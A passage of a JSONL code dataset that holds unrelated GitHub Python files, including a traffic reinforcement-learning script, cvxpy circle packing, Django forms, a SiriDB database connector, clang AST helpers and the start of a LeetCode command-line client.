result\n","repo_name":"nvbn/py-backwards","sub_path":"tests/transformers/test_return_from_generator.py","file_name":"test_return_from_generator.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":305,"dataset":"github-code","pt":"22"}
+{"seq_id":"32733461773","text":"from env import TrafficEnv\nfrom rl import DDPG\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nMAX_EPOCH = 500\nMAX_EVENT = 100\n\nenv = TrafficEnv()\ns_dim = env.state_dim\na_dim = env.action_dim\na_bound = env.action_bound\nr_dim = env.reward_dim\n\nrl = DDPG(a_dim, s_dim, r_dim, a_bound)\n\n\ndef save_result(d, id):\n    data_dict = {'FOT_Control.Speed': d[:, 0],\n                 'IMU.Accel_X': d[:, 1],\n                 'SMS.X_Velocity_T0': d[:, 2],\n                 'SMS.X_RANGE_T0': d[:, 3]}\n    d_frame = pd.DataFrame(data_dict)\n    d_frame.to_csv('./data/result_' + str(id) + '.csv', sep=',')\n\n\ndef plot(data1, data2):\n    plt.figure(1)\n    plt.subplot(221)\n    p11 = plt.plot(data1[:, 0], color='blue')\n    p12 = plt.plot(data2[:, 0], color='red')\n    plt.gca().add_artist(plt.legend([p11, p12], ['Pred', 'True']))\n    plt.title('Speed')\n\n    plt.subplot(222)\n    p21 = plt.plot(data1[:, 1], color='blue')\n    p22 = plt.plot(data2[:, 1], color='red')\n    plt.gca().add_artist(plt.legend([p21, p22], ['Pred', 'True']))\n    plt.title('Accel')\n\n    plt.subplot(223)\n    p31 = plt.plot(data1[:, 2], color='blue')\n    p32 = plt.plot(data2[:, 2], color='red')\n    plt.gca().add_artist(plt.legend([p31, p32], ['Pred', 'True']))\n    plt.title('R-Speed')\n\n    plt.subplot(224)\n    p41 = plt.plot(data1[:, 3], color='blue')\n    p42 = plt.plot(data2[:, 3], color='red')\n    plt.gca().add_artist(plt.legend([p41, p42], ['Pred', 'True']))\n    plt.title('Dist')\n    plt.show()\n\n\nfor i in range(MAX_EPOCH):\n    s = env.reset()\n    done = False\n    is_end = False\n    while not is_end:\n        a = rl.choose_action(s)\n        s_, r, done, info = env.step(a)\n        print('a: %f, r: %s ' % (a, r))\n        print('v: %f, a: %s, rv: %s dist: %s' % (s_[0], s_[1], s_[2], s_[3]))\n        if info['is_crash'] is False:\n            rl.store_transition(s, a, r, s_)\n\n        if done:\n            data = rl.get_memory()\n            true_data = np.array(env.get_true_states())\n            save_result(data, info['EventId'])\n            plot(data, true_data)\n\n            rl.learn()\n            s = env.reset()\n            done = False\n            print('===================Reset Now=====================')\n\n        else:\n            s = s_\n\n\n","repo_name":"herrsechs/TrafficRL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"810779859","text":"__author__ = 'Xinyue'\nimport cvxpy as cvx\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport dccp\nfrom cvxpy import Problem, Variable, Minimize\n\nif __name__ == '__main__':\n    np.random.seed(0)\n    n = 10\n    r = np.linspace(1, 5, n)\n\n    c = Variable((n, 2))\n    constr = []\n    for i in range(n-1):\n        for j in range(i+1, n):\n            constr.append(cvx.norm(cvx.vec(c[i, :]-c[j, :]), 2) >= r[i]+r[j])\n\n    # prob = Problem(\n    #     Minimize(\n    #         cvx.max(\n    #             cvx.max(cvx.abs(c), axis=1) + r     # max dim = c_max + r\n    #         )\n    #     ),\n    #     constr\n    # )\n\n    prob = Problem(\n        Minimize(\n            cvx.max(cvx.abs(c[:, 0]) + r) +\n            cvx.max(cvx.abs(c[:, 1]) + r)\n            ),\n        constr\n    )\n\n    print(prob.is_dcp(), prob.is_dcp())\n    print(dccp.is_dccp(prob))\n    prob.solve(method='dccp', solver='ECOS', ep=1e-2, max_slack=1e-2, verbose=True)\n\n    l = cvx.max(cvx.max(cvx.abs(c), axis=1)+r).value*2\n    pi = np.pi\n    ratio = pi*cvx.sum(cvx.square(r)).value/cvx.square(l).value\n    print(\"ratio =\", ratio)\n\n    # plot\n    plt.figure(figsize=(5, 5))\n    circ = np.linspace(0, 2*pi)\n    x_border = [-l/2, l/2, l/2, -l/2, -l/2]\n    y_border = [-l/2, -l/2, l/2, l/2, -l/2]\n    for i in range(n):\n        plt.plot(c[i, 0].value+r[i]*np.cos(circ), c[i, 1].value+r[i]*np.sin(circ),'b')\n    plt.plot(x_border, y_border, 'g')\n    plt.axes().set_aspect('equal')\n    plt.xlim([-l/2, l/2])\n    plt.ylim([-l/2, l/2])\n    plt.show()\n\n","repo_name":"psavine42/juststuff","sub_path":"spec/scripts/circle_pack_cvx.py","file_name":"circle_pack_cvx.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36043980305","text":"from django import forms\nfrom .models import Ticket, Registro\n\nclass TicketForm(forms.ModelForm):\n    class Meta:\n        model = Ticket\n        fields = ['asunto', 'descripcion', 'lugar']\n        widgets = {\n            'asunto': forms.TextInput(attrs={'class': 'form-control', 'placeholder': '¿Que paso?'}),\n            'descripcion': forms.Textarea(attrs={'class': 'form-control','placeholder' : '¿Nos das más detalles?','style':'height: 100px'}),\n            'lugar': forms.TextInput(attrs={'class': 'form-control', 'placeholder': '¿En donce se presento el incidente?'}),\n        }\nclass RegistroForm(forms.ModelForm):\n    class Meta:\n        model = Registro\n        fields = ['estado','comment_estado']\n","repo_name":"ldxsoria/mti","sub_path":"myapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"26853396245","text":"import asyncio\nimport time\nfrom .defaults import DEFAULT_CLIENT_PORT\nfrom .protocol import _SiriDBProtocol\nfrom .protomap import CPROTO_REQ_QUERY\nfrom .protomap import CPROTO_REQ_INSERT\nfrom .protomap import CPROTO_REQ_REGISTER_SERVER\nfrom .protomap import CPROTO_REQ_PING\nfrom .protomap import FILE_MAP\nfrom .constants import SECOND\nfrom .constants import MICROSECOND\nfrom .constants import MILLISECOND\nfrom .constants import NANOSECOND\nfrom .logging import logger as logging\n\n\nclass SiriDBConnection():\n\n    def __init__(self,\n                 username,\n                 password,\n                 dbname,\n                 host='127.0.0.1',\n                 port=DEFAULT_CLIENT_PORT,\n                 loop=None,\n                 timeout=10,\n                 protocol=_SiriDBProtocol):\n        self._loop = loop or asyncio.get_event_loop()\n        client = self._loop.create_connection(\n            lambda: protocol(username, password, dbname),\n            host=host,\n            port=port)\n        self._transport, self._protocol = self._loop.run_until_complete(\n            asyncio.wait_for(client, timeout=timeout))\n        self._loop.run_until_complete(self._wait_for_auth())\n\n    async def _wait_for_auth(self):\n        try:\n            res = await self._protocol.auth_future\n        except Exception as exc:\n            logging.debug('Authentication failed: {}'.format(exc))\n            self._transport.close()\n            raise exc\n        else:\n            self._protocol.on_authenticated()\n\n    def close(self):\n        if hasattr(self, '_protocol') and hasattr(self._protocol, 'transport'):\n            self._protocol.transport.close()\n\n    def query(self, query, time_precision=None, timeout=30):\n        result = self._loop.run_until_complete(\n            self._protocol.send_package(CPROTO_REQ_QUERY,\n                                        data=(query, time_precision),\n                                        timeout=timeout))\n        return result\n\n    def insert(self, data, timeout=600):\n        result = self._loop.run_until_complete(\n            self._protocol.send_package(CPROTO_REQ_INSERT,\n                                        data=data,\n                                        timeout=timeout))\n        return result\n\n    def _register_server(self, server, timeout=30):\n        '''Register a new SiriDB Server.\n\n        This method is used by the SiriDB manage tool and should not be used\n        otherwise. Full access rights are required for this request.\n        '''\n        result = self._loop.run_until_complete(\n            self._protocol.send_package(CPROTO_REQ_REGISTER_SERVER,\n                                        data=server,\n                                        timeout=timeout))\n        return result\n\n    def _get_file(self, fn, timeout=30):\n        '''Request a SiriDB configuration file.\n\n        This method is used by the SiriDB manage tool and should not be used\n        otherwise. Full access rights are required for this request.\n        '''\n        msg = FILE_MAP.get(fn, None)\n        if msg is None:\n            raise FileNotFoundError('Cannot get file {!r}. Available file '\n                                    'requests are: {}'\n                                    .format(fn, ', '.join(FILE_MAP.keys())))\n        result = self._loop.run_until_complete(\n            self._protocol.send_package(msg, timeout=timeout))\n        return result\n\n\nclass SiriDBAsyncConnection():\n\n    _protocol = None\n    _keepalive = None\n\n    async def keepalive_loop(self, interval=45):\n        sleep = interval\n        while True:\n            await asyncio.sleep(sleep)\n            if not self.connected:\n                break\n            sleep = \\\n                max(0, interval - time.time() + self._last_resp) or interval\n            if sleep == interval:\n                logging.debug('Send keep-alive package...')\n                try:\n                    await self._protocol.send_package(CPROTO_REQ_PING,\n                                                      timeout=15)\n                except asyncio.CancelledError:\n                    break\n                except Exception as e:\n                    logging.error(e)\n                    self.close()\n                    break\n\n    async def connect(self,\n                      username,\n                      password,\n                      dbname,\n                      host='127.0.0.1',\n                      port=DEFAULT_CLIENT_PORT,\n                      loop=None,\n                      timeout=10,\n                      keepalive=False,\n                      protocol=_SiriDBProtocol):\n        loop = loop or asyncio.get_event_loop()\n        client = loop.create_connection(\n            lambda: protocol(username, password, dbname),\n            host=host,\n            port=port)\n        self._timeout = timeout\n        _transport, self._protocol = \\\n            await asyncio.wait_for(client, timeout=timeout)\n\n        try:\n            res = await self._protocol.auth_future\n        except Exception as exc:\n            logging.debug('Authentication failed: {}'.format(exc))\n            _transport.close()\n            raise exc\n        else:\n            self._protocol.on_authenticated()\n\n        self._last_resp = time.time()\n        if keepalive and (self._keepalive is None or self._keepalive.done()):\n            self._keepalive = asyncio.ensure_future(self.keepalive_loop())\n\n    def close(self):\n        if self._keepalive is not None:\n            self._keepalive.cancel()\n            del self._keepalive\n        if self._protocol is not None:\n            self._protocol.transport.close()\n            del self._protocol\n\n    async def query(self, query, time_precision=None, timeout=3600):\n        assert time_precision in (\n            None,\n            SECOND,\n            MICROSECOND,\n            MILLISECOND,\n            NANOSECOND), 'time_precision must be either None, 0, 1, 2, 3'\n        result = await self._protocol.send_package(\n            CPROTO_REQ_QUERY,\n            data=(query, time_precision),\n            timeout=timeout)\n        self._last_resp = time.time()\n        return result\n\n    async def insert(self, data, timeout=3600):\n        result = await self._protocol.send_package(\n            CPROTO_REQ_INSERT,\n            data=data,\n            timeout=timeout)\n        self._last_resp = time.time()\n        return result\n\n    @property\n    def connected(self):\n        return self._protocol is not None and self._protocol._connected\n","repo_name":"SiriDB/siridb-connector","sub_path":"siridb/connector/lib/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"}
+{"seq_id":"73220652217","text":"#!/usr/bin/env python3\n\nimport clang.cindex\nfrom clang.cindex import CursorKind, TranslationUnit\nfrom collections import defaultdict \nimport pdb\nimport sys\n\ndef get_translation_unit( fname, cmd_args ):\n    index = clang.cindex.Index.create()\n    options = TranslationUnit.PARSE_DETAILED_PROCESSING_RECORD\n\n    args = [\n            '-x', cmd_args.language,\n            '-std=' + cmd_args.standard,\n    ]\n\n    if cmd_args.include_path:\n        for path in cmd_args.include_path.split( ',' ):\n            args.append( '-I' )\n            args.append( path )\n\n    if cmd_args.clang_flags:\n        for flag in cmd_args.clang_flags.split( ' ' ):\n            args.append( flag )\n\n    print( fname )\n    try:\n        tu = index.parse( fname, options=options, args=args )\n    except Exception as e:\n        print( \"\\nFailed to parse {}\".format( fname ) )\n        if cmd_args.verbose:\n            print( \"Clang arguments: \\n\\t{}\".format( '\\n\\t'.join( args ) ) )\n        tu = None\n\n    if tu is not None and tu.diagnostics:\n        print( \"\\nParsing errors for {}\".format( fname ) )\n        for diag in tu.diagnostics:\n            print( \"\\t{}\".format( str( diag ) ) )\n        if cmd_args.verbose:\n            print( \"Clang arguments: {}\".format( ' '.join( args ) ) )\n\n    return tu\n\n\ndef dump_ast( node, output_func, depth=0 ):\n    \"\"\"\n    dump the ast for easy human consumption\n    \"\"\"\n    indent = \" \" * depth\n    output_func( \"%s%s: %s\" % ( indent, str( node.kind ), str( node.displayname ) ) )\n\n    if node.kind in [CursorKind.DECL_REF_EXPR, CursorKind.VAR_DECL]:\n        #pdb.set_trace()\n        pass\n\n    if node.kind == CursorKind.BINARY_OPERATOR:\n        #pdb.set_trace()\n        pass\n\n    if node.displayname == 'stop_hunting(int)':\n        #pdb.set_trace()\n        pass\n\n    for child in node.get_children():\n        dump_ast( child, output_func, depth + 2 )\n\ndef get_human_name( node ):\n    \"\"\"\n    Given a declaration, find its fully qualified name (with class and\n    namespaces and compilation unit) and make it human readable\n    \"\"\"\n    node = node.referenced\n\n    res = \"{0} ({1},{2})\".format(\n            node.displayname,\n            node.location.line,\n            node.location.column )\n\n    node = node.semantic_parent\n    while node:\n        if node.kind == CursorKind.UNEXPOSED_DECL:\n            res = \"(#include)\" + \"::\" + res\n        else:\n            res = str(node.displayname) + \"::\" + res\n\n        node = node.semantic_parent\n\n    return res\n\ndef get_qualifiers( node ):\n    \"\"\"\n    Given a declaration, return all its qualifiers\n    This includes quaifiers on overridden cursors.\n    \"\"\"\n    res = set()\n    for child in node.get_children():\n        if child.kind == CursorKind.ANNOTATE_ATTR:\n            if child.displayname.startswith(\"funqual::\"):\n                res.add(child.displayname[9:])\n\n    for overridden_cursor in node.get_overridden_cursors():\n        res |= get_qualifiers( overridden_cursor )\n\n    return res\n\ndef is_function_pointer( cursor ):\n    return '(*)' in cursor.type.spelling\n\nif __name__ == '__main__':\n    dump_ast(get_translation_unit(sys.argv[1]).cursor, print)\n","repo_name":"yabberyabber/funqual","sub_path":"ast_helpers.py","file_name":"ast_helpers.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"22"}
+{"seq_id":"28867993563","text":"#Movie Ticket Cost Calculator\n\n#Initializing Variables\nticket_cost = 0\nadult_tickets = 0\nchild_tickets = 0\nsenior_tickets = 0\nwhile_counter = 0\n\n#To buy tickets\nwhile(while_counter==0):\n    print(\" \")\n    response = input(\"Do you want to purchase a ticket? (Y/N) \")\n    if(response==\"Y\" or response==\"y\"):\n        age = int(input(\"Enter age of customer: \"))\n        if age in range(14,65):\n            adult_tickets+=1\n            ticket_cost+=12\n            print(\"Ticket added to cart\")\n        if age in range(0,14):\n            child_tickets+=1\n            ticket_cost+=8\n            print(\"Ticket added to cart\")\n        if(age>=65):\n            senior_tickets+=1\n            ticket_cost+=6\n            print(\"Ticket added to cart\")\n    else:\n        while_counter = 1\n\n#To print number of tickets      \nprint(\"Number of Adult Tickets: \",adult_tickets)\nprint(\"Number of Child Tickets: \",child_tickets)\nprint(\"Number of Senior Tickets: \",senior_tickets)\nprint(\"Ticket Cost: \",ticket_cost)\n\n#To calculate total price\ntax=0.13*ticket_cost\nprint(\"Tax: \",tax)\ntotal = ticket_cost+tax\nprint(\"Total: \",total)\n","repo_name":"SaurontheMighty/Inventory-Management","sub_path":"Other ICS3U files/movie_ticket.py","file_name":"movie_ticket.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18777706722","text":"\"\"\"Create new Ubuntu Launcher.\"\"\"\nimport os\nimport jinja2\nfrom distutils.dir_util import copy_tree\nimport subprocess\nimport click\n\n\n@click.command()\n@click.argument('directory', type=click.Path(exists=True))\n@click.argument('project')\ndef create(directory, project):\n    \"\"\"Create new Ubuntu Launcher.\n\n    Usage: python project_laucher.py /new/launcher/path/ ProjectName\n\n    Args:\n        directory (TYPE): Where the launcher will be created.\n        project (TYPE): The name of the project (or application).\n    \"\"\"\n    working_directory = os.getcwd()\n    stock_directory = os.path.join(working_directory, \"stock\")\n\n    # Target Directory (Launching Folder)\n    launcher_dir = os.path.join(directory, \"launcher\")\n\n    template_vars = {\n        \"project_name\": project,\n        \"terminal\": \"true\",\n        \"icon200x200\": os.path.join(launcher_dir, \"200x200.png\"),\n        \"launcher_script\": os.path.join(launcher_dir, \"launcher.sh\"),\n        \"desktop_file_path\": launcher_dir,\n        \"desktop_file\": project + \".desktop\",\n    }\n\n    # Creates Launching Folder\n    os.makedirs(launcher_dir, exist_ok=True)\n\n    # Copy Stock to Launching Folder\n    copy_tree(src=stock_directory, dst=launcher_dir)\n\n    # Jinja Environment\n    template_loader = jinja2.FileSystemLoader(\n        [os.path.join(working_directory, \"templates\")])\n    jinja_env = jinja2.Environment(loader=template_loader)\n\n    # Create project_launcher.desktop\n    desktop_file = os.path.join(template_vars[\"desktop_file_path\"],\n                                template_vars[\"desktop_file\"])\n    with open(desktop_file, \"w+\") as f:\n        f.write(\n            jinja_env.get_template(\"project_launcher.desktop.jinja\").render(\n                template_vars))\n\n    # Create Makefile\n    make_file = os.path.join(template_vars[\"desktop_file_path\"], \"Makefile\")\n    with open(make_file, \"w+\") as f:\n        f.write(jinja_env.get_template(\"Makefile.jinja\").render(template_vars))\n\n    # Create launcher.sh\n    with open(template_vars[\"launcher_script\"], \"w+\") as f:\n        f.write(\n            jinja_env.get_template(\"launcher.sh.jinja\").render(template_vars))\n\n    # Make launcher.sh executable\n    subprocess.call(\n        ['chmod 777 ' + template_vars[\"launcher_script\"]], shell=True)\n\n\nif __name__ == '__main__':\n    create()\n","repo_name":"zinglax/Project-Launcher","sub_path":"project_launcher.py","file_name":"project_launcher.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16592202851","text":"from owlready2 import *\nimport time\nimport json\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nif __name__ == '__main__':\n\n    #parameters\n    input_owl_directory = \"../Datasets/Rellis_3D_image_example/img_owl/\"\n\n    \n    #start of main script\n    \n    file_list_owl=[]\n    for file in os.listdir(input_owl_directory):\n        if file.endswith(\".owl\"):\n            temp_file_owl=os.path.join(input_owl_directory, file)\n            file_list_owl.append(temp_file_owl)\n            #print(temp_file_owl)\n\n    dictionary_of_materials = {}\n    dictionary_of_instances = {}\n    dictionary_of_instance_pixels = {}\n\n    for input_owl in file_list_owl:\n        #load owl ontology\n\n        onto = get_ontology(input_owl)\n        onto.load()\n\n\n        named_individuals = list(onto.individuals())\n        for individual in named_individuals:\n            #print(individual.name)  # Print the name of each named individual\n            #use this name to get number of instances of each class\n\n            if(individual.name[0]=='M'):\n                temp_count=0\n\n            for value in individual.get_properties():\n                #print((individual.get_properties())) \n                if (value.python_name=='Size'):\n                    for size in value[individual]:\n                        #print(individual.is_a[0].name, value.python_name, size) #prints number of pixels for entity\n                        # above print example: Sky Size 100.0\n                        try:\n                            dictionary_of_instance_pixels[individual.is_a[0].name]+=size\n                        except:\n                            dictionary_of_instance_pixels[individual.is_a[0].name]=size\n                elif (value.python_name=='HasMaterial'):\n                    pass\n                    # for material in value[individual]:\n                    #     print(individual.is_a[0].name, value.python_name, material.name)\n                    #     # above print example: Sky HasMaterial M1\n                elif (value.python_name=='Makes'):\n                    for temp in value[individual]:\n                        # print(individual.is_a[0].name, value.python_name, temp.name)\n                        temp_count=temp_count+1\n                        # above print example: Sky Makes F1\n                        #can use this to determine quantity of each material \n                else:\n                    print('undefine value ',value.python_name )\n            if(individual.name[0]=='M'):\n                #print(individual.is_a[0].name, \"has \", temp_count, \" instances\")\n                try:\n                    dictionary_of_materials[individual.is_a[0].name]+=temp_count\n                except:\n                    dictionary_of_materials[individual.is_a[0].name]=temp_count\n            if(individual.name[0]=='F'):\n                try:\n                    dictionary_of_instances[individual.is_a[0].name]+=1\n                except:\n                    dictionary_of_instances[individual.is_a[0].name]=1\n\n        onto.destroy()\n\n       \n        #print('end of file ------')\n        \n\n    print('dataset has the following number of entities for each material \\n',dictionary_of_materials)\n\n    print('dataset has the following number of entities for each instance \\n',dictionary_of_instances)\n\n    print('dataset has the following number of pixels for each instance \\n',dictionary_of_instance_pixels)\n\n\n    # To do:\n\n    #need to check some of the owl:NamedIndividual \n    # has multiple type and material  for some\n    # errors when multiple of same property ie multily type or HasMaterial\n    \n    # need to think about how nesting works when displaying statistics \n\n    # need to verify these results by comparison with json files\n    # seem like there is double of what is expected\n\n\n    input_image_json_directory = \"../Datasets/Rellis_3D_image_example/img_json/\"\n    file_list_json=[]\n    dictionary_of_json_entitites = {}\n    print('verify with json files')\n    for file in os.listdir(input_image_json_directory):\n        if file.endswith(\".json\"):\n            temp_file_json=os.path.join(input_image_json_directory, file)\n            #print(temp_file_json)\n            file_list_json.append(temp_file_json)\n\n    for input_image_json in file_list_json:\n        f2 = open(input_image_json)\n        polygonInfo = json.load(f2)\n\n        for i in polygonInfo['entities']:\n            class_instance = i['type']\n            # print(class_instance)\n            try:\n                dictionary_of_json_entitites[class_instance]+=1\n            except:\n                dictionary_of_json_entitites[class_instance]=1\n    print(dictionary_of_json_entitites)\n\n\n    \n","repo_name":"tamu-edu/ORATOR-ATLAS","sub_path":"Testing/instance_statistics.py","file_name":"instance_statistics.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26200099981","text":"TEST = False\n\nif TEST:\n    inputfile = \"input_test.txt\"\nelse:\n    inputfile = \"input.txt\"\n\nHASHLENGTH = 256\n\nLAST_INDEX = HASHLENGTH - 1\nhashlist = range(0, HASHLENGTH)\ncursor = 0\nskip = 0\n\n\ndef reverse(sublist):\n    reversed_list = []\n    for i in range(0, len(sublist)):\n        reversed_list.append(sublist[len(sublist) - 1 - i])\n    return reversed_list\n\n\ndef reverse_circular_sublist(length):\n    global cursor\n    global skip\n    if (cursor + length) < HASHLENGTH:\n        hashlist[cursor:cursor + length] = reverse(hashlist[cursor:cursor + length])\n    else:\n        length1 = HASHLENGTH - cursor\n        length2 = length - length1\n        reversed_list = reverse(hashlist[cursor:HASHLENGTH] + hashlist[0:length2])\n        hashlist[cursor:HASHLENGTH] = reversed_list[0:length1]\n        hashlist[0:length2] = reversed_list[length1:length]\n    cursor = (cursor + length + skip) % HASHLENGTH\n    skip += 1\n\n\ndef calc_dense_hash(index):\n    ans = hashlist[index]\n    for i in range(index + 1, index + 16):\n        ans = ans ^ hashlist[i]\n    return ans\n\ndef hash_knot(key):\n    dense_hash = \"\"\n    for i in range(64):\n        for c in key:\n            length = ord(c)\n            reverse_circular_sublist(int(length))\n        for length in (17, 31, 73, 47, 23):\n            reverse_circular_sublist(int(length))\n    for i in range(16):\n        dense_hash += \"{0:0{1}x}\".format(calc_dense_hash(i * 16), 2)\n    return dense_hash\n\nfor line in open(inputfile, 'r'):\n    print(hash_knot(line))\n","repo_name":"roeltrienekens/adventofcode2017","sub_path":"day10/10b.py","file_name":"10b.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28578729784","text":"from __future__ import absolute_import, print_function\n\nimport sys\nsys.path.insert(0,'..')\nimport inline_tools\n\nimport time\n\n\ndef print_compare(n):\n    print('Printing %d integers:' % n)\n    t1 = time.time()\n    for i in range(n):\n        print(i, end=' ')\n    t2 = time.time()\n    py = (t2-t1)\n\n    # get it in cache\n    inline_tools.inline('printf(\"%d\",i);',['i'])\n    t1 = time.time()\n    for i in range(n):\n        inline_tools.inline('printf(\"%d\",i);',['i'])\n    t2 = time.time()\n    print(' speed in python:', py)\n    print(' speed in c:',(t2 - t1))\n    print(' speed up: %3.2f' % (py/(t2-t1)))\n\n\ndef cout_example(lst):\n    # get it in cache\n    i = lst[0]\n    inline_tools.inline('std::cout << i << std::endl;',['i'])\n    t1 = time.time()\n    for i in lst:\n        inline_tools.inline('std::cout << i << std::endl;',['i'])\n    t2 = time.time()\n\nif __name__ == \"__main__\":\n    n = 3000\n    print_compare(n)\n    print(\"calling cout with integers:\")\n    cout_example([1,2,3])\n    print(\"calling cout with strings:\")\n    cout_example(['a','bb', 'ccc'])\n","repo_name":"ryfeus/lambda-packs","sub_path":"Skimage_numpy/source/scipy/weave/examples/print_example.py","file_name":"print_example.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"74631696376","text":"nums = [0, 0, 1, 1, 1, 2, 2, 3, 3, 4]\n\n\"\"\"Initial answer\"\"\"\n# indexes_to_remove = []\n# nums_count = 0\n# for i, num in enumerate(nums):\n#     if num == nums[i - 1] and i > 0:\n#         indexes_to_remove.append(i)\n#     nums_count += 1\n\n# removal_count = 0\n# for index in indexes_to_remove:\n#     del nums[index - removal_count]\n#     removal_count += 1\n\n# print(\"k:\", nums_count - removal_count)\n# print(\"nums:\", nums)\n\n\"\"\"More efficient answer\"\"\"\n\n# Doesn't even engage in computation if no length -> it can do the same if len(nums) = 1\nif not nums:\n    print(0)\n\nwrite_index = 1  # Position to overwrite duplicates\n\nfor read_index in range(1, len(nums)):\n    if nums[read_index] != nums[read_index - 1]:\n        nums[write_index] = nums[read_index]\n        write_index += 1\n\n# Truncate the remaining duplicates\ndel nums[write_index:]\n\nprint(write_index)\n","repo_name":"cucupac/leetcode","sub_path":"interview_150/problem_3.py","file_name":"problem_3.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73434219921","text":"#! /usr/bin/env python3\n\n\"\"\"\nLeetCode at Office\n\"\"\"\n\nimport ast\nimport logging\nimport os.path\nimport sys\nimport time\nimport typing\n\nfrom collections import namedtuple\nfrom urllib.parse import urljoin\n\nimport bs4\nimport click\nimport dogpile.cache\nimport requests\nimport requests.sessions\nimport requests.cookies\n\nfrom termcolor import cprint\n\nFORMATTER = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger('lcao')\n\nUSER_DIRECTORY = os.path.expanduser('~')\nCONFIG_DIRECTORY = os.path.join(USER_DIRECTORY, '.config', 'lcao')\n\nfile_cache_region = dogpile.cache.make_region(name='lcao')\nmemory_cache_region = dogpile.cache.make_region(name='lcao.memory').configure(\n    backend='dogpile.cache.memory',\n    expiration_time=300\n)\n\n\nclass _Endpoints(object):\n    BASE_URL = 'https://leetcode.com'\n    HOST = 'leetcode.com'\n    LOGIN = urljoin(BASE_URL, 'accounts/login')\n    LOGOUT = urljoin(BASE_URL, 'accounts/logout')\n    ALL_PROBLEMS = urljoin(BASE_URL, 'api/problems/all')\n    SUBMISSIONS = urljoin(BASE_URL, 'submissions/')\n\n    @staticmethod\n    def problem_description(problem_slug: str) -> str:\n        return urljoin(_Endpoints.BASE_URL, 'problems/{}/description/'.format(problem_slug))\n\n    @staticmethod\n    def run_code(problem_slug: str) -> str:\n        return urljoin(_Endpoints.BASE_URL, 'problems/{}/interpret_solution/'.format(problem_slug))\n\n    @staticmethod\n    def submit_code(problem_slug: str) -> str:\n        return urljoin(_Endpoints.BASE_URL, 'problems/{}/submit/'.format(problem_slug))\n\n    @staticmethod\n    def check_run_code_status(interpret_id: str) -> str:\n        return urljoin(\n            _Endpoints.BASE_URL,\n            'submissions/detail/{}/check'.format(interpret_id)\n        )\n\n\n_UserInformation = namedtuple('_UserInformationTuple', [\n    'name', 'num_solved', 'ac_easy', 'ac_medium', 'ac_hard', 'subscribed'\n])\n\n_AllProblemsInformation = namedtuple('_ProblemInformation', [\n    'total_num', 'num_easy', 'num_medium', 'num_hard'\n])\n\n_ProblemStatisticalInformation = namedtuple('_ProblemStatisticalInformation', [\n    'total_submitted', 'total_accepts', 'frequency'\n])\n\n_ProblemListItem = namedtuple('_ProblemListItem', [\n    'index', 'title', 'slug', 'difficulty', 'statistical_info', 'paid_only', 'status'\n])\n\n_ProblemInformation = namedtuple('_ProblemInformation', [\n    'index', 'title', 'description', 'code_definition', 'sample_testcase'\n])\n\n_TestRunResultSuccess = namedtuple('_TestRunResultSuccess', [\n    'test_case', 'expected', 'expected_time', 'actual', 'actual_time', 'code_output'\n])\n\n_TestRunResultFailure = namedtuple('_TestRunResultFailure', [\n    'error', 'test_case', 'code_output'\n])\n\n_SubmitResultAccepted = namedtuple('_SubmitResultSuccess', [\n    'time', 'stdout', 'total_test_cases'\n])\n\n_SubmitResultWrongAnswer = namedtuple('_SubmitResultWrongAnswer', [\n    'total_test_cases', 'total_correct', 'stdout', 'last_failed_test_case', 'last_expected', 'last_actual',\n    'test_results'\n])\n\n_SubmitResultFailure = namedtuple('_SubmitResultFailure', [\n    'error', 'stdout', 'last_failed_test_case'\n])\n\n_RUN_ERROR_STATUS_CODE = {\n    12: 'Memory Limit Exceeded',\n    14: 'Time Limit Exceeded',\n    15: 'Runtime Error',\n    20: 'Compile Error'\n}\n\n_DIFFICULTY_NAME_MAPPER = {\n    1: 'Easy',\n    2: 'Medium',\n    3: 'Hard'\n}\n\n_DIFFICULTY_COLOR_MAPPER = {\n    1: 'green',\n    2: 'magenta',\n    3: 'red'\n}\n\n_STATUS_NAME_MAPPER = {\n    None: '-',\n    'notac': '?',\n    'ac': '*'\n}\n\n_STATUS_COLOR_MAPPER = {\n    None: 'grey',\n    'notac': 'red',\n    'ac': 'green'\n}\n\n\nclass _PrintFormatter(object):\n    STATUS = ' {:1s} '\n    INDEX = '{:5s}'\n    TITLE = '{:60s}'\n    DIFFICULTY = '{:12s}'\n    ACCEPTANCE_RATE = '{:12s}'\n    SUBSCRIBE_REQUIRED = '{:10s}'\n\n\n_LIST_PROBLEM_FORMATTER = ''.join([\n    _PrintFormatter.STATUS,\n    _PrintFormatter.INDEX,\n    _PrintFormatter.TITLE,\n    _PrintFormatter.DIFFICULTY,\n    